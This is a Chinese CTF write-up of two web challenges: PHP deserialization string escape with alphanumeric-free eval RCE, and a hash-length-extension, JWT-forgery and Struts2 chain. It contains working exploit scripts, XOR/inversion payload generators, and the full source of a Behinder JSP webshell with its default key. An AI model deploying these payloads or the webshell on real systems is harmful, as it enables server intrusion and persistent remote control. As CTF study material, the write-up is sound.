2023巅峰极客_unserialize
打开题目
扫描得到www.zip
分析代码
index.php
<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();
if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}
?>
login.php
<?php session_start(); include_once "my.php"; include_once "function.php"; if (!isset($_SESSION['login'])) { echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>'; } $login = @unserialize(a($_SESSION['login'])); echo $login; ?>
function.php
<?php
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}
function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
?>
my.php
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;
function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}
function __destruct() {
unset($this->root);
unset($this->pwd);
}
function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}
}
?>
字符串变短逃逸
难点主要在私有变量private序列化后会有不可见字符和无数字字母的绕过
有两个不可见字符%00
无数字字母rce
需要逃逸的字符串及其长度
共48个长度(有两个不可见字符)
每一个“bbbbbb"替换成"aaaa"就逃逸连个字符,因此需要24个"bbbbbb"
生成payload:
url编码取反绕过
exp:
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
echo(urlencode("\";s:12:\"\000push_it\000pwd\";".serialize(new pull_it("(~".~"system".")(~".~"whoami".");"))));
运行得到:
%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A19%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%88%97%90%9E%92%96%29%3B%22%3B%7D
传参
在访问login.php
异或绕过:
附上Lxxx师傅的异或脚本
xor.php
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
xor.py
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
先执行xor.php生成合法字符,再执行xor.py生成异或命令
然后再进行base64编码
exp:
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$l = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTA4JTA4JTBmJTAxJTBkJTA5Il4iJTdmJTYwJTYwJTYwJTYwJTYwIik7")));
echo urlencode(serialize($l));
运行得到
O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A39%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%08%08%0F%01%0D%09%22%5E%22%7F%60%60%60%60%60%22%29%3B%22%3B%7D
传参
此处可以自定义,但是长度大于8就不行,不知道为啥
*CTF_jwt2struts
考点:
hash长度扩展攻击+jwt+struts2
<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
if ($username === "admin" && $password != "root") {
if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
die ("The secret_key is ". $secret_key);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("no no no");
}
}
先通过hash长度扩展攻击拿到key
原理网上很多这里就不写了......
使用工具hashpump
Input Signature: md5($salt."adminroot"),即e6ccbf12de9d33ec27a5bcfb6a3293df
Input Data:password对应的值root
Input Key Length:salt+username的位数即14+5=19(此时把username也作为key的一部分)
input Data to Add:这里随便填
然后把生成的
root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00abc
将其中的\x换成%
python脚本实现
hex_str = r"root\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00abc" # 将所有的\x替换成% url_encoded_str = hex_str.replace(r'\x', '%') print(url_encoded_str)
传参
拿到key
将cookie中的
access_token= eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjExNjI5fQ.cCEIsBntEWPwQcah7_iFYtxMtlL-Df2UxYeqmUQTCXc
拿去jwt
填入key修改成admin
抓包修改发包
访问/admiiiiiiiiiiin
看页面源码得到提示
题目提示struts2,用漏扫工具
检测到漏洞
执行命令
没有找到flag
上传冰蝎马
利用工具上传冰蝎马: <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
拿到flag